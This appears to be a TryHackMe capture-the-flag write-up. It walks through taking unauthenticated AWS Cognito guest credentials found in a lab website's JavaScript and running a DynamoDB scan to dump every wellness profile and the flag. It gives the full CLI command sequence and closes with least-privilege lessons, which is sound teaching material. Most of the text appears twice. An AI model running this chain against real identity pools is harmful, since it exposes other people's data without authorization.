July 29, 2026
TryHackMe Complimentary Writeup — Hacker Holiday 2026
How an AWS Cognito Guest Role Exposed an Entire DynamoDB Table

By Devansh Patel
4 min read
How an AWS Cognito Guest Role Exposed an Entire DynamoDB Table
Disclaimer:_ This write-up contains the full solution. All testing was done inside an authorized lab environment._
Introduction
In this TryHackMe challenge, I was given a simple wellness website hosted on Amazon Web Services.
The website did not have a login page. Instead, every visitor received temporary AWS guest credentials through Amazon Cognito.
At first, the application appeared to show only one visitor's wellness profile. However, the AWS permissions were incorrectly configured.
Because the guest role had permission to scan the whole DynamoDB table, I was able to read every customer profile and retrieve the flag.
Target Website
The application was hosted as a static Amazon S3 website:
http://complimentary-wellness-app-332173347248.s3-website-us-east-1.amazonaws.comhttp://complimentary-wellness-app-332173347248.s3-website-us-east-1.amazonaws.comThe goal was to find a flag in this format:
THM{...}THM{...}Step 1: Inspecting the Website
I opened the website and used the browser developer tools to inspect its JavaScript files.
The main JavaScript file was:
app.jsapp.jsInside this file, I found the following AWS configuration:
const IDENTITY_POOL_ID =
"us-east-1:836c0949-xxxx-xxxx-xxxx-xxxxxxxxxxxx";
const AWS_REGION = "us-east-1";
const TABLE_NAME =
"complimentary-GuestWellnessProfiles";const IDENTITY_POOL_ID =
"us-east-1:836c0949-xxxx-xxxx-xxxx-xxxxxxxxxxxx";
const AWS_REGION = "us-east-1";
const TABLE_NAME =
"complimentary-GuestWellnessProfiles";This gave me three useful pieces of information:
- The Cognito Identity Pool ID
- The AWS region
- The DynamoDB table name
The Cognito Identity Pool ID is not a password or secret. Frontend applications often need to include it in their JavaScript.
The important question was: What permissions does the Cognito guest role have?
Step 2: Understanding the Application
The application used Amazon Cognito to give every visitor temporary AWS credentials:
AWS.config.credentials =
new AWS.CognitoIdentityCredentials({
IdentityPoolId: IDENTITY_POOL_ID
});AWS.config.credentials =
new AWS.CognitoIdentityCredentials({
IdentityPoolId: IDENTITY_POOL_ID
});After receiving credentials, it connected directly to DynamoDB:
const dynamodb = new AWS.DynamoDB({
region: AWS_REGION
});const dynamodb = new AWS.DynamoDB({
region: AWS_REGION
});The application then requested one profile:
dynamodb.getItem({
TableName: TABLE_NAME,
Key: {
guest_id: {
S: guestId()
}
}
});dynamodb.getItem({
TableName: TABLE_NAME,
Key: {
guest_id: {
S: guestId()
}
}
});The guest ID was generated inside the browser:
function guestId() {
let id =
localStorage.getItem("byteLotusGuestId");
if (!id) {
id =
"guest-" +
Math.random().toString(36).slice(2, 10);
localStorage.setItem(
"byteLotusGuestId",
id
);
}
return id;
}function guestId() {
let id =
localStorage.getItem("byteLotusGuestId");
if (!id) {
id =
"guest-" +
Math.random().toString(36).slice(2, 10);
localStorage.setItem(
"byteLotusGuestId",
id
);
}
return id;
}This guest ID could not be trusted because it was created and stored on the user's device.
Anything inside JavaScript or browser local storage can be modified by the user.
Step 3: Installing the AWS CLI
I used the AWS CLI to communicate directly with AWS.
On Kali Linux, I installed it with:
sudo apt update
sudo apt install -y awsclisudo apt update
sudo apt install -y awscliI confirmed that it was installed:
aws --versionaws --versionStep 4: Getting a Cognito Identity
I saved the AWS region and Cognito Identity Pool ID:
REGION='us-east-1'
POOL='us-east-1:836c0949-xxxx-xxxx-xxxx-xxxxxxxxxxxx'REGION='us-east-1'
POOL='us-east-1:836c0949-xxxx-xxxx-xxxx-xxxxxxxxxxxx'I then requested a Cognito identity:
IDENTITY_ID="$(
aws cognito-identity get-id \
--identity-pool-id "$POOL" \
--region "$REGION" \
--query IdentityId \
--output text
)"IDENTITY_ID="$(
aws cognito-identity get-id \
--identity-pool-id "$POOL" \
--region "$REGION" \
--query IdentityId \
--output text
)"This returned a temporary identity similar to:
us-east-1:4d571309-xxxx-xxxx-xxxx-xxxxxxxxxxxxus-east-1:4d571309-xxxx-xxxx-xxxx-xxxxxxxxxxxxStep 5: Getting Temporary AWS Credentials
Next, I requested temporary credentials for the Cognito identity:
CREDS="$(
aws cognito-identity \
get-credentials-for-identity \
--identity-id "$IDENTITY_ID" \
--region "$REGION" \
--query \
'Credentials.[AccessKeyId,SecretKey,SessionToken]' \
--output text
)"CREDS="$(
aws cognito-identity \
get-credentials-for-identity \
--identity-id "$IDENTITY_ID" \
--region "$REGION" \
--query \
'Credentials.[AccessKeyId,SecretKey,SessionToken]' \
--output text
)"I exported the credentials into my terminal:
export AWS_ACCESS_KEY_ID="$(
printf '%s\n' "$CREDS" |
awk '{print $1}'
)"
export AWS_SECRET_ACCESS_KEY="$(
printf '%s\n' "$CREDS" |
awk '{print $2}'
)"
export AWS_SESSION_TOKEN="$(
printf '%s\n' "$CREDS" |
awk '{print $3}'
)"
export AWS_DEFAULT_REGION="$REGION"
export AWS_PAGER=''export AWS_ACCESS_KEY_ID="$(
printf '%s\n' "$CREDS" |
awk '{print $1}'
)"
export AWS_SECRET_ACCESS_KEY="$(
printf '%s\n' "$CREDS" |
awk '{print $2}'
)"
export AWS_SESSION_TOKEN="$(
printf '%s\n' "$CREDS" |
awk '{print $3}'
)"
export AWS_DEFAULT_REGION="$REGION"
export AWS_PAGER=''These credentials were temporary, but they still had real AWS permissions.
Temporary credentials should never be shared publicly.
Step 6: Checking the AWS Identity
I verified the credentials with:
aws sts get-caller-identityaws sts get-caller-identityThe response showed:
{
"Account": "xxxxxxxxxxxx",
"Arn": "arn:aws:sts::xxxxxxxxxxxx:assumed-role/complimentary-cognito-unauth-role/CognitoIdentityCredentials"
}{
"Account": "xxxxxxxxxxxx",
"Arn": "arn:aws:sts::xxxxxxxxxxxx:assumed-role/complimentary-cognito-unauth-role/CognitoIdentityCredentials"
}This confirmed that I was using the following role:
complimentary-cognito-unauth-rolecomplimentary-cognito-unauth-roleThe role was assigned to unauthenticated visitors.
Step 7: Finding the Real Data Source
At first, I tested whether the role could list files in the S3 bucket.
The request returned:
AccessDeniedAccessDeniedThis meant S3 bucket listing was not the correct path.
The JavaScript showed that the website was getting profile data from DynamoDB.
The table name was:
complimentary-GuestWellnessProfilescomplimentary-GuestWellnessProfilesStep 8: Scanning the DynamoDB Table
The website only used GetItem, which is supposed to retrieve one record.
However, I tested whether the guest role could run Scan, which retrieves every record in a table:
aws dynamodb scan \
--table-name \
complimentary-GuestWellnessProfiles \
--region us-east-1 \
--output jsonaws dynamodb scan \
--table-name \
complimentary-GuestWellnessProfiles \
--region us-east-1 \
--output jsonThe command succeeded.
This was the main security issue.
The unauthenticated guest role could read the entire DynamoDB table.
Step 9: Finding the Flag
I saved the results to a file:
aws dynamodb scan \
--table-name \
complimentary-GuestWellnessProfiles \
--region us-east-1 \
--output json |
tee /tmp/wellness-dynamodb.jsonaws dynamodb scan \
--table-name \
complimentary-GuestWellnessProfiles \
--region us-east-1 \
--output json |
tee /tmp/wellness-dynamodb.jsonThen I searched the file for the TryHackMe flag format:
grep -aoE 'THM\{[^}]+\}' \
/tmp/wellness-dynamodb.jsongrep -aoE 'THM\{[^}]+\}' \
/tmp/wellness-dynamodb.jsonThe flag was:
THM{xxxx_xxx_xxxx_xxxxx}THM{xxxx_xxx_xxxx_xxxxx}Main Lessons Learned
The Frontend Is Not a Security Control
A website may only show one button or one record, but users are not forced to use the website interface.
They can send direct API requests using the credentials provided to the browser.
Public AWS IDs Are Not Automatically Vulnerabilities
Values such as these are often visible:
- Cognito Identity Pool IDs
- AWS regions
- API addresses
- DynamoDB table names
- S3 bucket names
These values do not need to be secret.
Security must come from correct IAM permissions.
IAM Permissions Are the Real Security Boundary
The most important question was not:
What does the website allow me to click?What does the website allow me to click?The important question was:
What does the AWS role allow me to do?What does the AWS role allow me to do?Temporary Credentials Can Still Be Dangerous
Temporary AWS credentials expire, but they can still provide powerful access while they are active.
Temporary does not mean safe.
Least Privilege Must Be Tested
A role designed to retrieve one item should also be tested against:
Scan
Query
BatchGetItem
Access to other tables
Access to other users’ recordsScan
Query
BatchGetItem
Access to other tables
Access to other users’ recordsPermissions should be verified instead of assumed.
Attack Path Summary
Public S3 website
↓
Cognito Identity Pool found in JavaScript
↓
Temporary guest AWS credentials obtained
↓
Guest IAM role identified
↓
DynamoDB table name found
↓
DynamoDB Scan was allowed
↓
All profiles were exposed
↓
Flag recoveredPublic S3 website
↓
Cognito Identity Pool found in JavaScript
↓
Temporary guest AWS credentials obtained
↓
Guest IAM role identified
↓
DynamoDB table name found
↓
DynamoDB Scan was allowed
↓
All profiles were exposed
↓
Flag recovered